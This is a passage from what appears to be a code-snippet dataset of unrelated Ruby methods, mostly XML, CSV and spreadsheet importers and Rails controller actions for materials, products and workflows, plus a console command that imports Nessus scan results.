mydoor.add_event(\n event.attributes[\"name\"],\n event.text(\"unique\"),\n event.text(\"condition\"),\n event.text(\"phrase\"),\n event.text(\"message\")\n )\n event.elements.each(\"command\") do |command|\n myevent.add_command(\n command.text(\"action\"),\n command.text(\"object\"),\n command.text(\"helper\")\n )\n end #xml.elements.each(\"command\") do |command|\n end # door.elements.each(\"event\") do |event|\n end # room.elements.each(\"door\") do |door|\n\n room.elements.each(\"person\") do |person|\n myperson = myroom.add_person(\n person.attributes[\"person_id\"],\n person.text(\"identifier\"),\n person.text(\"name\"),\n person.text(\"info\"),\n person.text(\"look_text\")\n )\n\n person.elements.each(\"item\") do |item|\n myperson.add_thing(\n item.attributes[\"item_id\"],\n item.text(\"identifier\"),\n item.text(\"use_with\"),\n item.text(\"name\"),\n item.text(\"info\"),\n item.text(\"look_text\")\n )\n end\n\n person.elements.each(\"event\") do |event|\n myevent = myperson.add_event(\n event.attributes[\"name\"],\n event.text(\"unique\"),\n event.text(\"condition\"),\n event.text(\"phrase\"),\n event.text(\"message\")\n )\n event.elements.each(\"command\") do |command|\n myevent.add_command(\n command.text(\"action\"),\n command.text(\"object\"),\n command.text(\"helper\")\n )\n end #xml.elements.each(\"command\") do |command|\n end # person.elements.each(\"event\") do |event|\n end # room.elements.each(\"person\") do |person|\n end # xml.elements.each(\"Map/room\") do |room|\n\n xml.elements.each(\"Map/event\") do |event|\n myevent = Map.add_event(\n event.attributes[\"name\"],\n event.text(\"unique\"),\n event.text(\"condition\"),\n event.text(\"phrase\"),\n event.text(\"message\")\n )\n event.elements.each(\"command\") do |command|\n myevent.add_command(\n command.text(\"action\"),\n command.text(\"object\"),\n command.text(\"helper\")\n )\n end #xml.elements.each(\"command\") do |command|\n end # xml.elements.each(\"Map/event\") do |event|\n\n xml.elements.each(\"Map/start_inventory\") do |item|\n @@inventory.add_byId(item.text)\n end\n @@current_room = Map.room(@@start_room)\n @@current_room.visit\n self\n end",
"def index\r\n \r\n if !params[:filenm].blank?\r\n uploaded_filename = file_upload(params[:filenm]) \r\n params[:bed_file] = uploaded_filename\r\n end\r\n \r\n if !params[:bed_file].blank?\r\n bed_errors, @bed_lines = BedFile.parse_bedfile(params[:bed_file])\r\n \r\n if !@bed_lines.empty?\r\n @oligo_designs = DesignQuery.query_from_coords(@bed_lines, params)\r\n @depth_array = calculate_depth(@oligo_designs, @bed_lines)\r\n handle_bed_errors(params[:bed_file], bed_errors) # Warning messages if some bed lines ignored\r\n render :action => :index\r\n \r\n else\r\n @design_query = DesignQuery.new\r\n @enzymes = []\r\n OligoDesign::ENZYMES.each {|enzyme| @enzymes.push([enzyme, false])}\r\n handle_bed_errors(params[:bed_file], bed_errors) # Error messages for invalid bed file\r\n render :action => :new_query\r\n end\r\n \r\n file = File.join(BED_ABS_PATH, params[:bed_file])\r\n File.delete(file) if File.exists?(file)\r\n \r\n else\r\n @design_query = DesignQuery.new(params[:design_query]) \r\n if @design_query.valid?\r\n qparams = params[:design_query]\r\n @bed_lines = [[qparams[:chromosome_nr].to_s, qparams[:chr_start_pos].to_i, qparams[:chr_end_pos].to_i]]\r\n @oligo_designs = DesignQuery.query_from_coords(@bed_lines, params) \r\n @depth_array = calculate_depth(@oligo_designs, @bed_lines) if @oligo_designs.size > 0\r\n render :action => :index\r\n \r\n else\r\n @enzymes = []\r\n OligoDesign::ENZYMES.each {|enzyme| @enzymes.push([enzyme, false])} \r\n render :action => :new_query\r\n end\r\n end\r\n \r\n end",
"def retrieve_materials(materials)\n return unless materials.present?\n\n show do\n title 'Retrieve Materials'\n note 'Please get the following items'\n table create_location_table(materials)\n end\n end",
"def load(fldDefs, filename)\r\n input = File.new(filename)\r\n doc = Document.new(input)\r\n root = doc.root\r\n input.close\r\n\r\n transCase = self.new(fldDefs)\r\n transCase.name = root.attribute('name').value if root.attributes.has_key? 'name'\r\n transCase.desc = root.attribute('desc').value if root.attributes.has_key? 'desc'\r\n if root.attributes.has_key? 'card_index'\r\n transCase.cardIndex = root.attribute('card_index').value.to_i\r\n end\r\n if root.attributes.has_key? 'acquirer_index'\r\n transCase.acquirerIndex = root.attribute('acquirer_index').value.to_i\r\n end\r\n\r\n root.elements.each(\"action\") do |elm|\r\n transCase.actions << loadAction(transCase, elm)\r\n end\r\n\r\n transCase\r\n end",
"def material_params\n params.require(:material).permit(:title, :workshop_id, :file)\n end",
"def rebuild_caches_from_document\r\n\t\t@graph_by_id = {}\r\n\t\[email protected]{ |x| @graph_by_id[x['id']]=x if x.is_a?(Nokogiri::XML::Element) }\r\n\r\n\t\t@graph_by_addset = {}\r\n\t\t@addsets_by_graph = {}\r\n\t\tslideindex = {}\r\n\t\[email protected]('.//Add|.//Set').each do |addset|\r\n\t\t\tgraph = @graph_by_id[addset['ref'][1..-1]]\r\n\t\t\t@graph_by_addset[addset] = graph\r\n\t\t\t@addsets_by_graph[graph] ||= {}\r\n\t\t\tslide = addset.parent\r\n\t\t\tname = slide['name']\r\n\t\t\tindex = name == 'Master Slide' ? 0 : (slideindex[slide] ||= (slide.index('State') + 1))\r\n\t\t\t@addsets_by_graph[graph][name] = addset\r\n\t\t\t@addsets_by_graph[graph][index] = addset\r\n\t\tend\r\n\t\tnil\r\n\tend",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @material }\n end\n end",
"def load\n sources_data = @gateway.sources_data\n build_entity(sources_data['sources'])\n end",
"def material_params\n params.require(:material).permit(:name, :imgURL, :notes, :season)\n end",
"def show\n @mt_material_data = MtMaterialData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mt_material_data }\n end\n end",
"def perform(name)\n filename = find_free_xml(name)\n articles_to_import = []\n unless filename\n puts 'no files left'\n return\n end\n with_locked_xml filename do\n puts \"Opening file at #{filename}\"\n file = File.open filename\n puts \"creating a nokogiri document...\"\n doc = Nokogiri.XML(file)\n if doc.errors.length > 0\n puts \"error reading file #{filename}, marking 'errors'\"\n mark_dataset(filename, 'errors')\n # mark the file as incomplete\n raise 'bad file'\n end\n doc.css('PubmedArticle').each do |article|\n pmid = article.css('MedlineCitation PMID').first.text.to_i\n if pmid\n a = Article.find_or_initialize_by_pubmed_id(pmid)\n a.raw_pubmed_xml = article.to_s\n a.extract_pubmed_data_from_node(article)\n if a.persisted?\n a.save! if a.changed?\n else\n articles_to_import << a\n end\n else\n puts 'Ignoring article without ID... What the hell?'\n end\n end\n\n # we are pretty confident about validity of data\n Article.import articles_to_import, :validate => false if articles_to_import.size > 0\n\n # mark the file as imported\n unmark_dataset(filename, 'errors')\n mark_dataset(filename, 'imported')\n end\n end",
"def import_soepinfo1(filename=\"import/soepinfo1.csv\", group=\"v1\")\n @group = Group.find_or_create_by_name_and_study_id(group, id)\n Study.transaction do\n CSV.foreach(filename = filename, headers: true) do |row|\n @row = row.to_hash\n @study_unit = StudyUnit.find_or_create_by_name_and_study_id(@row[\"study_unit\"], id)\n @logical_product = LogicalProduct.find_or_create_by_name_and_study_unit_id(@row[\"product\"], @study_unit.id)\n @physical_data_product = PhysicalDataProduct.find_or_create_by_name_and_group_id(@row[\"product\"], @group.id)\n @concept = Concept.find_or_create_by_name(@row[\"concept\"])\n @variable_group = VariableGroup.find_or_create_by_name_and_logical_product_id_and_concept_id(@row[\"variable\"], @logical_product.id, @concept.id)\n @variable = Variable.find_or_create_by_name_and_physical_data_product_id_and_variable_group_id(@row[\"variable\"], @physical_data_product.id, @variable_group.id)\n @variable_category = VariableCategory.create(value: @row[\"category_val\"], label: @row[\"category_lab\"], variable_id: @variable.id)\n end\n end\n\n end",
"def show\n @rawmaterial = Rawmaterial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rawmaterial }\n end\n end",
"def load_graph()\n nodes = {}\n vertices = {}\n visualVertices = {}\n edges = []\n visualEdges = []\n bounds = {}\n\n File.open(@filename, 'r') do |file|\n doc = Nokogiri::XML::Document.parse(file)\n\n doc.root.xpath('bounds').each do |bound|\n bounds[:minlon] = bound['minlon']\n bounds[:minlat] = bound['minlat']\n bounds[:maxlon] = bound['maxlon']\n bounds[:maxlat] = bound['maxlat']\n end\n\n doc.root.xpath('node').each do |node|\n nodes[node['id']] = node\n end\n\n doc.root.xpath('way').each do |way_element|\n speed = 50\n oneway = false\n continue = false\n\n way_element.xpath('tag').each do |tag_element|\n speed = tag_element['v'] if tag_element['k'] == 'maxspeed'\n oneway = true if tag_element['k'] == 'oneway'\n continue = true if tag_element['k'] == 'highway' && @highway_attributes.include?(tag_element[\"v\"])\n end\n\n if continue\n (way_element.xpath('nd').count - 1).times do |i|\n from_nd_id = way_element.xpath('nd')[i]\n to_nd_id = from_nd_id.next_element['ref']\n\n from_node = nodes[from_nd_id['ref']]\n to_node = nodes[to_nd_id]\n\n # Create vertex, add into hash\n vertex = Vertex.new(to_nd_id)\n vertex2 = Vertex.new(from_nd_id['ref'])\n vertices[to_nd_id] = vertex unless vertices.has_key?(to_nd_id)\n vertices[from_nd_id['ref']] = vertex2 unless vertices.has_key?(from_nd_id['ref'])\n\n # Create visual vertex\n visual_vertex2 = VisualVertex.new(to_nd_id, to_node, to_node['lat'], to_node['lon'], to_node['lat'], to_node['lon'])\n visual_vertex = VisualVertex.new(from_node['id'], from_node, from_node['lat'], from_node['lon'], from_node['lat'], from_node['lon'])\n visualVertices[from_node['id']] = visual_vertex unless visualVertices.has_key?(from_node['id'])\n visualVertices[to_node['id']] = visual_vertex2 unless visualVertices.has_key?(to_node['id'])\n\n # Create edge\n edge = Edge.new(vertex, vertex2, speed, oneway)\n edges << edge\n edge.distance = calculate_distance([from_node['lat'].to_f, from_node['lon'].to_f], [to_node['lat'].to_f, to_node['lon'].to_f])\n\n # Create visual edge\n visualEdge = VisualEdge.new(edge, visual_vertex, visual_vertex2)\n visualEdges << visualEdge\n end\n end\n end\n end\n\n # Create graph, visual graph\n graph = Graph.new(vertices, edges)\n visualGraph = VisualGraph.new(graph, visualVertices, visualEdges, bounds)\n\n # Find largest component\n largest_comp = find_component(graph)\n\n # Filter vertices and edges from largest component and create graphs from largest component\n filtered_edges = graph.edges.reject { |edge| !largest_comp.include?(edge.v1.id) || !largest_comp.include?(edge.v2.id)}\n filtered_vertices = graph.vertices.reject { |vertex| !largest_comp.include?(vertex)}\n filter_visual_edges = visualGraph.visual_edges.reject { |vis_edge| !largest_comp.include?(vis_edge.v1.id) || !largest_comp.include?(vis_edge.v2.id)}\n filter_visual_vertices = visualGraph.visual_vertices.reject { |vis_vertex| !largest_comp.include?(vis_vertex)}\n\n graph = Graph.new(filtered_edges,filtered_vertices)\n visualGraph = VisualGraph.new(graph, filter_visual_vertices, filter_visual_edges, bounds)\n\n return graph, visualGraph\n end",
"def show\n @material = Material.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @material }\n end\n end",
"def initialize(xml_contents)\n @doc = @entry = Document.parse(xml_contents)\n details = @doc.at_xpath('measure/measureDetails')\n @id = details.at_xpath('uuid').text.upcase\n @hqmf_set_id = details.at_xpath('guid').text.upcase\n @hqmf_version_number = details.at_xpath('version').text.to_i\n @title = details.at_xpath('title').text\n @description = details.at_xpath('description').text\n @cms_id = \"CMS#{details.at_xpath('emeasureid').text}v#{@hqmf_version_number}\"\n @nqf_id = details.at_xpath('nqfid/@extension').value\n\n @attributes = []\n details.children.reject {|e| e.name == 'text'}.each do |attribute|\n attribute_data = Utilities::MEASURE_ATTRIBUTES_MAP[attribute.name.to_sym]\n if (attribute_data)\n attribute_data['value'] = attribute.at_xpath('@extension').try(:value) || attribute.text\n @attributes << HQMF::Attribute.from_json(attribute_data)\n end\n end\n\n @criteria_map = {}\n @measure_period_map = {\n details.at_xpath('period/@uuid').value => :measure_period,\n details.at_xpath('period/startDate/@uuid').value => :measure_period_start,\n details.at_xpath('period/stopDate/@uuid').value => :measure_period_end\n }\n @measure_period_map.keys.each do |key|\n @criteria_map[key] = OpenStruct.new(id: HQMF::Document::MEASURE_PERIOD_ID, hqmf_id: key)\n end\n \n # Extract the data criteria\n @source_data_criteria = []\n @derived_data_criteria = []\n @attribute_map = {}\n @doc.xpath('measure/elementLookUp/qdm').each do |entry|\n data_type = entry.at_xpath('@datatype').value\n if !['Timing Element', 'attribute'].include? data_type\n criteria = DataCriteria.new(entry)\n @source_data_criteria << criteria\n @criteria_map[criteria.hqmf_id] = criteria\n elsif data_type == 'attribute'\n attribute = Attribute.new(entry.at_xpath('@id').value, entry.at_xpath('@oid').value, entry.at_xpath('@name').value)\n @attribute_map[attribute.id] = attribute\n elsif data_type == 'Timing Element'\n name = entry.at_xpath('@name').value\n if MEASURE_PERIOD_TITLES[name]\n hqmf_id = entry.at_xpath('@uuid').value\n @criteria_map[hqmf_id] = OpenStruct.new(id: HQMF::Document::MEASURE_PERIOD_ID, hqmf_id: hqmf_id)\n @measure_period_map[hqmf_id] = MEASURE_PERIOD_TITLES[name]\n end\n end\n end\n\n # Extract the population criteria and population collections\n @populations = []\n @population_criteria = []\n \n population_defs = @doc.xpath('measure/measureGrouping/group')\n population_defs.each_with_index do |population_def, population_index|\n\n population = {}\n population_def.xpath('clause').each do |criteria_def|\n\n criteria = PopulationCriteria.new(criteria_def, self, population_index)\n @population_criteria << criteria\n population[criteria.type] = criteria.id\n\n end\n\n @doc.xpath('measure/measureObservations').children.reject {|e| e.name == 'text'}.each_with_index do |observ_def, observ_index|\n observ = PopulationCriteria.new(observ_def, self, population_index)\n @population_criteria << observ\n population[observ.type] = observ.id\n raise \"multiple observations... don't know how to tie to populations\" if observ_index > 0\n end\n\n population['id'] = \"Population#{population_index}\"\n population['title'] = \"Population #{population_index}\" if population_defs.length > 1\n @populations << population\n\n end\n\n\n puts \"\\t NEED TO HANDLE STRATIFICATIONS\"\n # stratifier_id_def = population_def.at_xpath('cda:templateId/cda:item[@root=\"'+HQMF::Document::STRATIFIED_POPULATION_TEMPLATE_ID+'\"]/@controlInformationRoot', NAMESPACES)\n # population['stratification'] = stratifier_id_def.value if stratifier_id_def\n\n end",
"def _parse_file_using_import(file, layout, model)\n attributes = {}\n count = 0\n value_sets = []\n column_names = model.columns.map{ |column| column.name }\n not_nces_fields = column_names.select { |name| name[/id/] }\n field_names = column_names - not_nces_fields\n options = { :validate => false }\n mstate_index = field_names.index(\"MSTATE\")\n while (line = file.gets) do\n next if line.strip == ''\n values = []\n layout.each do |label, start_pos, end_pos, length, data_type, description|\n data_str = line[(start_pos-1)..(end_pos-1)].strip.gsub(/[^[:print:]]/, '')\n data_value = case data_type\n when 'N'\n data_str.to_i\n when 'D'\n data_str.to_f\n else\n data_str\n end\n values << data_value\n end\n if @states_and_provinces\n if @states_and_provinces.include?(values[mstate_index])\n value_sets << values\n end\n else\n value_sets << values\n end\n if value_sets.length >= 10\n records = model.import(field_names, value_sets, options)\n value_sets = values = []\n end\n count += 1\n if count % 500 == 0\n print '.'\n STDOUT.flush\n end\n end\n if value_sets.length > 0\n model.import(field_names, value_sets, options)\n end\n puts \"\\n#{count} records processed from #{file.path}\"\n end",
"def initialize (check_usable = true)\n @measure_importers = {}\n @section_importers = {}\n @section_importers[:encounters] = SimpleImporter.new(\"//ccr:Encounters/ccr:Encounter\",:encounters)\n @section_importers[:procedures] = SimpleImporter.new(\"//ccr:Procedures/ccr:Procedure\",:procedures)\n @section_importers[:results] = ResultImporter.new(\"//ccr:Results/ccr:Result\",:results)\n @section_importers[:vital_signs] = ResultImporter.new(\"//ccr:VitalSigns/ccr:Result\",:vital_signs)\n @section_importers[:medications] = ProductImporter.new(\"//ccr:Medications/ccr:Medication\", :medications)\n @section_importers[:conditions] = SimpleImporter.new(\"//ccr:Problems/ccr:Problem\",:conditions)\n @section_importers[:social_history] = SimpleImporter.new(\"//ccr:SocialHistory/ccr:SocialHistoryElement\", :social_history)\n @section_importers[:care_goals] = SimpleImporter.new(\"//ccr:Goals/ccr:Goal\",:care_goals)\n @section_importers[:medical_equipment] = ProductImporter.new(\"//ccr:Equipment/ccr:EquipmentElement\",:medical_equipment)\n @section_importers[:allergies] = SimpleImporter.new(\"//ccr:Alerts/ccr:Alert\",:allergies)\n @section_importers[:immunizations] = ProductImporter.new(\"//ccr:Immunizations/ccr:Immunization\",:immunizations)\n end",
"def load_contentful_structure_file\n file_exists? ? load_existing_contentful_structure_file : create_empty_contentful_structure_file\n end",
"def load_workflow_definition(workflow_definition)\n if find_workflow_definition(workflow_definition.name, workflow_definition.version)\n #logger.warn(\"already defined workflow_definition #{workflow_definition.name} v#{workflow_definition.version} in store\")\n return\n end\n workflow_def = WorkflowDefinition.new\n workflow_def.name = workflow_definition.name\n workflow_def.version = workflow_definition.version\n workflow_def.document_cls = workflow_definition.document_cls\n\n workflow_def.save!\n\n workflow_definition.nodes.each do |node|\n workflow_step_definition = WorkflowStepDefinition.new\n workflow_step_definition.name = node.nodename\n workflow_step_definition.participant_definition = node.participant_definition\n workflow_step_definition.condition = node.condition\n workflow_step_definition.nodetype = node.nodetype\n\n workflow_step_definition.workflow_definition = workflow_def\n workflow_step_definition.save!\n #attach some information to memory node\n class << node\n attr_accessor :workflow_step_definition_id\n end\n node.workflow_step_definition_id = workflow_step_definition.id\n\n\n end\n workflow_definition.nodes.each do |node|\n node.transitions.each do |transition|\n transition_definition = WorkflowTransitionDefinition.new\n transition_definition.name = transition.name\n\n #puts node.inspect\n #puts transition_definition.inspect\n transition_definition.to_step_id = transition.to.workflow_step_definition_id\n transition_definition.workflow_step_definition_id = node.workflow_step_definition_id\n transition_definition.save!\n end\n end\n\n end",
"def add_construction(construction_name, construction_props = nil)\n\n # First check model and return construction if it already exists\n self.getConstructions.each do |construction|\n if construction.name.get.to_s == construction_name\n OpenStudio::logFree(OpenStudio::Debug, 'openstudio.standards.Model', \"Already added construction: #{construction_name}\")\n return construction\n end\n end\n \n OpenStudio::logFree(OpenStudio::Debug, 'openstudio.standards.Model', \"Adding construction: #{construction_name}\") \n\n # Get the object data\n data = self.find_object(self.standards['constructions'], {'name'=>construction_name})\n if !data\n OpenStudio::logFree(OpenStudio::Warn, 'openstudio.standards.Model', \"Cannot find data for construction: #{construction_name}, will not be created.\")\n return false #TODO change to return empty optional material\n end\n \n # Make a new construction and set the standards details\n construction = OpenStudio::Model::Construction.new(self)\n construction.setName(construction_name)\n standards_info = construction.standardsInformation\n\n intended_surface_type = data['intended_surface_type']\n unless intended_surface_type\n intended_surface_type = ''\n end\n standards_info.setIntendedSurfaceType(intended_surface_type)\n\n standards_construction_type = data['standards_construction_type']\n unless standards_construction_type\n standards_construction_type = ''\n end\n standards_info.setStandardsConstructionType(standards_construction_type)\n\n # TODO: could put construction rendering color in the spreadsheet\n\n # Add the material layers to the construction\n layers = OpenStudio::Model::MaterialVector.new\n data['materials'].each do |material_name|\n material = add_material(material_name)\n if material\n layers << material\n end\n end\n construction.setLayers(layers)\n\n # Modify the R value of the insulation to hit the specified U-value, C-Factor, or F-Factor.\n # Doesn't currently operate on glazing constructions\n if construction_props\n #puts construction.class #puts construction.methods.sort\n # Determine the target U-value, C-factor, and F-factor\n target_u_value_ip = construction_props['assembly_maximum_u_value']\n target_f_factor_ip = construction_props['assembly_maximum_f_factor']\n target_c_factor_ip = construction_props['assembly_maximum_c_factor']\n \n OpenStudio::logFree(OpenStudio::Debug, 'openstudio.standards.Model', \"#{data['intended_surface_type']} u_val #{target_u_value_ip} f_fac #{target_f_factor_ip} c_fac #{target_c_factor_ip}\")\n \n if target_u_value_ip && !(data['intended_surface_type'] == 'ExteriorWindow' || data['intended_surface_type'] == 'Skylight')\n \n # Set the U-Value\n construction.set_u_value(target_u_value_ip.to_f, data['insulation_layer'], data['intended_surface_type'], true)\n \n elsif target_f_factor_ip && data['intended_surface_type'] == 'GroundContactFloor'\n \n # Set the F-Factor (only applies to slabs on grade)\n # TODO figure out what the prototype buildings did about ground heat transfer\n #construction.set_slab_f_factor(target_f_factor_ip.to_f, data['insulation_layer'])\n construction.set_u_value(0.0, data['insulation_layer'], data['intended_surface_type'], true)\n \n elsif target_c_factor_ip && data['intended_surface_type'] == 'GroundContactWall' \n \n # Set the C-Factor (only applies to underground walls)\n # TODO figure out what the prototype buildings did about ground heat transfer\n #construction.set_underground_wall_c_factor(target_c_factor_ip.to_f, data['insulation_layer'])\n construction.set_u_value(0.0, data['insulation_layer'], data['intended_surface_type'], true)\n \n end\n\n end\n\n OpenStudio::logFree(OpenStudio::Info, 'openstudio.standards.Model', \"Adding construction #{construction.name}.\") \n\n return construction\n \n end",
"def load\n end",
"def import_data\n begin\n #Get products *before* import - \n @products_before_import = Product.all\n\n #Setup HTML decoder\n coder = HTMLEntities.new\n\n columns = ImportProductSettings::COLUMN_MAPPINGS\n log(\"Import - Columns setting: #{columns.inspect}\")\n \n rows = FasterCSV.read(self.data_file.path)\n log(\"Importing products for #{self.data_file_file_name} began at #{Time.now}\")\n nameless_product_count = 0\n \n rows[ImportProductSettings::INITIAL_ROWS_TO_SKIP..-1].each do |row|\n \n log(\"Import - Current row: #{row.inspect}\")\n \n if product_obj = Product.find(:first, :include => [:product_properties, :properties], :conditions => ['properties.name LIKE ? && product_properties.value LIKE ?', \"XmlImportId\", row[columns['Id']]])\n create_variant(product_obj, row, columns)\n else\n #Create the product skeleton - should be valid\n product_obj = Product.new()\n \n #Easy ones first\n if row[columns['Name']].blank?\n log(\"Product with no name: #{row[columns['Description']]}\")\n product_obj.name = \"No-name product #{nameless_product_count}\"\n nameless_product_count += 1\n else\n #Decode HTML for names and/or descriptions if necessary\n if ImportProductSettings::HTML_DECODE_NAMES\n product_obj.name = coder.decode(row[columns['Name']])\n else\n product_obj.name = row[columns['Name']]\n end\n end\n #product_obj.sku = row[columns['SKU']] || product_obj.name.gsub(' ', '_')\n product_obj.price = row[columns['Master Price']] || 0.0\n #product_obj.cost_price = row[columns['Cost Price']]\n product_obj.available_on = DateTime.now - 1.day #Yesterday to make SURE it shows up\n product_obj.weight = columns['Weight'] ? row[columns['Weight']] : 0.0\n product_obj.height = columns['Height'] ? row[columns['Height']] : 0.0\n product_obj.depth = columns['Depth'] ? row[columns['Depth']] : 0.0\n product_obj.width = columns['Width'] ? row[columns['Width']] : 0.0\n #Decode HTML for descriptions if needed\n if ImportProductSettings::HTML_DECODE_DESCRIPTIONS\n product_obj.description = coder.decode(row[columns['Description']])\n else\n product_obj.description = row[columns['Description']]\n end\n \n \n #Assign a default shipping category\n product_obj.shipping_category = ShippingCategory.find_or_create_by_name(ImportProductSettings::DEFAULT_SHIPPING_CATEGORY)\n product_obj.tax_category = TaxCategory.find_or_create_by_name(ImportProductSettings::DEFAULT_TAX_CATEGORY)\n\n unless product_obj.valid?\n log(\"A product could not be imported - here is the information we have:\\n #{ pp product_obj.attributes}\", :error)\n next\n end\n \n #Save the object before creating asssociated objects\n product_obj.save!\n \n xml_import_id_prop = Property.find_or_create_by_name_and_presentation(\"XmlImportId\", \"XmlImportId\")\n ProductProperty.create :property => xml_import_id_prop, :product => product_obj, :value => row[columns['Id']]\n \n brand_prop = Property.find_or_create_by_name_and_presentation(\"Brand\", \"Marque\")\n ProductProperty.create :property => brand_prop, :product => product_obj, :value => row[columns['Brand']]\n \n unless product_obj.master\n log(\"[ERROR] No variant set for: #{product_obj.name}\")\n end\n \n #Now we have all but images and taxons loaded\n associate_taxon('Category', row[columns['Category']], product_obj)\n associate_taxon('Gender', row[columns['Gender']], product_obj)\n \n #Save master variant, for some reason saving product with price set above\n #doesn't create the master variant\n log(\"Master Variant saved for #{product_obj.sku}\") if product_obj.master.save!\n \n create_variant(product_obj, row, columns)\n \n find_and_attach_image(row[columns['Image Main']], product_obj) if row[columns['Image Main']]\n find_and_attach_image(row[columns['Image 2']], product_obj) if row[columns['Image 2']]\n find_and_attach_image(row[columns['Image 3']], product_obj) if row[columns['Image 3']]\n\n #Return a success message\n log(\"[#{product_obj.sku}] #{product_obj.name}($#{product_obj.master.price}) successfully imported.\\n\") if product_obj.save\n end\n \n end\n \n if ImportProductSettings::DESTROY_ORIGINAL_PRODUCTS_AFTER_IMPORT\n @products_before_import.each { |p| p.destroy }\n end\n \n log(\"Importing products for #{self.data_file_file_name} completed at #{DateTime.now}\")\n \n rescue Exception => exp\n log(\"An error occurred during import, please check file and try again. (#{exp.message})\\n#{exp.backtrace.join('\\n')}\", :error)\n return [:error, \"The file data could not be imported. Please check that the spreadsheet is a CSV file, and is correctly formatted.\"]\n end\n \n #All done!\n return [:notice, \"Product data was successfully imported.\"]\n end",
"def load_data\n raise NotImplementedError\n end",
"def load\n end",
"def load\n end",
"def set_material\n @material = Material.find(params[:id])\n end",
"def import_process_framework\r\n uploaded_file = params[:xml_file]\r\n unless uploaded_file.nil?\r\n orig_name = uploaded_file.original_filename\r\n if File.extname(orig_name).downcase == \".xml\" \r\n data = uploaded_file.read if uploaded_file.respond_to? :read\r\n doc = REXML::Document.new( data )\r\n position_model = ProcessModel.find(:first, :order=> \"position DESC\")\r\n model_position = position_model.nil?? 1: (position_model.position+1) \r\n doc.elements.each(\"process_model\") do |e| \r\n if ProcessModel.find_by_name(e.attributes[\"name\"]).nil? \r\n new_process_model = ProcessModel.new\r\n new_process_model.name = e.attributes[\"name\"]\r\n new_process_model.author_id = User.current.id\r\n new_process_model.date = Time.now\r\n new_process_model.description = e.text\r\n new_process_model.position = model_position\r\n new_process_model.save\r\n ++ model_position\r\n activies = e.get_elements(\"activity\")\r\n activity_position =1\r\n activies.each do |acty|\r\n new_activity = Activity.new\r\n new_activity.name = acty.attributes[\"name\"]\r\n new_activity.description = acty.text\r\n new_activity.model_id = new_process_model.id\r\n new_activity.position= activity_position\r\n ++activity_position\r\n new_activity.save\r\n action_position = 1\r\n actions = acty.get_elements(\"action\")\r\n actions.each do |acns|\r\n new_action = Action.new\r\n new_action.name = acns.attributes[\"name\"]\r\n new_action.description = acns.text\r\n new_action.activity_id = new_activity.id\r\n new_action.position = action_position\r\n new_action.save\r\n ++action_position \r\n task_position = 1\r\n tasks = acns.get_elements(\"task\")\r\n tasks.each do |task|\r\n new_task = PfTask.new\r\n new_task.name = task.attributes[\"name\"]\r\n new_task.description = task.text\r\n new_task.action_id = new_action.id\r\n new_task.position = task_position\r\n ++task_position\r\n new_task.save\r\n end\r\n end\r\n end\r\n \r\n else \r\n flash[:error] = l(:lable_model_already_exist)\r\n redirect_to :controller=>'init_select',:action=>'select_models',:project_id => @project\r\n return\r\n end\r\n end \r\n flash[:notice] = l(:lable_import_successfully)\r\n redirect_to :controller=>'init_select',:action=>'select_models',:project_id => @project\r\n return\r\n else\r\n flash[:error] = l(:lable_import_unsuccessfully)\r\n redirect_to :controller=>'init_select',:action=>'select_models',:project_id => @project\r\n return\r\n end\r\n else\r\n flash[:error] = l(:lable_please_select_file_first)\r\n redirect_to :controller=>'init_select',:action=>'select_models',:project_id => @project\r\n return\r\n end\r\n end",
"def load_methods(category, sheet, admin)\n\n p \"========================= LOAD DESIGN METHODS =========================\"\n\n #Load in design method fields\n fields = Hash.new\n sheet.each METHOD_ROW do |row|\n name = row[METHOD_INDEX].to_s.strip\n\n if name.empty?\n break\n elsif DesignMethod.exists?(name: name)\n design_method = DesignMethod.where(name: name).first\n else\n fields[:name] = name\n fields[:overview] = row[METHOD_INDEX + 1].to_s.strip\n fields[:process] = \"default\"\n aka = row[METHOD_INDEX + 2].to_s.strip\n image = row[METHOD_INDEX + 3].to_s.strip\n\n design_method = DesignMethod.new(fields)\n design_method.owner = admin\n design_method.aka = aka\n design_method.main_image = image\n\n if !design_method.save\n p \"Error while creating a design method: #{fields[:name]} \"\n design_method.errors.full_messages.each do |message|\n p \"\\t#{message}\"\n end\n next\n end\n end\n\n p \"Added #{design_method.name}\"\n \n #Load in characteristics \n j = CHARACTERISTIC_INDEX\n characteristics = row[j]\n group_row = sheet.row(CHAR_ROW)\n\n while characteristics != nil\n group_name = group_row[j].to_s.strip\n group = CharacteristicGroup.where(name: group_name).first_or_create!\n if group\n category.characteristic_groups << group\n end\n \n characteristics.split(/, *\\n*/).each do |char_name|\n if !char_name.blank?\n characteristic = Characteristic.where({name: char_name, characteristic_group_id: group.id}).first_or_create!\n if characteristic && !design_method.characteristics.include?(characteristic)\n design_method.characteristics << characteristic\n p \" Added #{characteristic.name}\"\n end\n end\n end\n\n j += 1\n characteristics = row[j]\n end\n\n #Load in citations\n citations = row[METHOD_INDEX + 4]\n if citations\n citations.split(/, *\\n/).each do |cit|\n if !cit.blank?\n citation = Citation.where(text: cit).first_or_create!\n if !design_method.citations.include?(citation)\n design_method.citations << citation\n p \" Added #{citation.text}\"\n end\n end\n end\n end\n end\nend",
"def index\n @base_materials = BaseMaterial.all\n end",
"def import_inventory_file()\n @worksheet_products.each { |row|\n if(@inventory_row = build_inventory_hash(row))\n import_inventory()\n end\n }\n end",
"def material=(material)\n end",
"def cmd_db_import_nessus_xml(*args)\n\t\t\treturn unless active?\n\t\t\tif (not (args and args.length == 1))\n\t\t\t\tprint_status(\"Usage: db_import_nessus_xml <nessus.nessus>\")\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tif (not File.readable?(args[0]))\n\t\t\t\tprint_status(\"Could not read the NESSUS file\")\n\t\t\t\treturn\n\t\t\tend\n\t\t\tframework.db.import_nessus_xml_file(:filename => args[0])\n\t\tend",
"def index\n @training_materials = TrainingMaterial.all\n end",
"def index\n @raw_materials = RawMaterial.all\n end",
"def index\n @raw_materials = RawMaterial.all\n end",
"def prepare_materials(operations:)\n prepare_workspace\n operations.retrieve\n mix_and_spin_down_reagents\n end",
